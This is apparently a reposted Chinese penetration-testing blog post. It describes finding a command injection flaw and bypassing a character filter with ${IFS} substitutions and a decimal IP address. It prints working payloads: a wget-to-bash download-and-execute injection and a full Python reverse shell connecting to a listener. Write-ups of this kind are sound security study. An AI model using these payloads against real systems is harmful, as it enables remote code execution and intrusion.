一次命令执行漏洞的绕过之我是菜逼
2022-10-9 11:39:24 Author: bgbing安全(查看原文) 阅读量:22 收藏

今天下午在公司测(mo)试(yu)的时候,通过搜索响应中的关键字,一处报错信息引起了我的注意:

开搞
首先whoami看下能不能回显:
显然不能。。
那我们用dnslog测试下:

好像过滤替换了不少特殊符号,经测试发现,除了.之外,如下关键字也都被替换为-字符了:
()&:/[space]
那只能换一种思路咯,我们先要证明下这个地方是否存在命令执行,过滤了.把ip转化为数字,这里用自己的服务器上的服务做下测试:

用wget命令测试,还要考虑空格的过滤,简单列一下常用的替换方式:
1、分隔符
${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
${IFS}$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。

2、重定向符

构造payload,注意用||和;分别闭合前后部分:111||wget${IFS}3162736550;

看来确实存在啊,那直接弹吧。编码(base64或者hex)绕过反弹shell中的特殊字符:

超过长度检测限制了,换个思路,用wget直接读取payload并执行。这里花了很多时间(还是我太菜了)。
1、wget下载文件内容:wget -q -O - http://xxx.com
2、管道符bash连接
最终payload如:11||wget${IFS}-q${IFS}-O${IFS}-${IFS}xxxxxxxxx|bash;
发现日志中收到请求,但是监听端并没有反弹回来,应该是bash没有执行成功,换个别的语言的再试下(python)

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

这回有反应了,但是报错退出回话了

这是啥问题,可能菜是原罪吧,应该是路径/bin/bash不对,换成/bin/sh试试

反思

1、通过响应中指纹关键词的搜索能很快定位是否存在相应的问题,如SQL语句的报错、代码执行的error信息等等;

2、命令之间的连接符怎么能不过滤呢?

3、真的菜

参考链接:
https://www.dazhuanlan.com/2019/12/09/5dee4883dad99/
http://linux.51yip.com/search/wget/
https://www.cnblogs.com/xiaojianblogs/p/8980558.html

作者:c0lorway文章来源:https://cn-sec.com/archives/712809.html
侵权请私聊公众号删文
欢迎关注bgbing安全
觉得不错点个“赞”、“在看”

文章来源: http://mp.weixin.qq.com/s?__biz=MzkwNzEzMTg3MQ==&mid=2247485957&idx=1&sn=ff96b94a527e9f13809ccd34a014015a&chksm=c0dca4b5f7ab2da3cb9c59e393c00800007c4ea10dffde482428f3b6d0be924ff06683a014cc#rd
如有侵权请联系:admin#unsafe.sh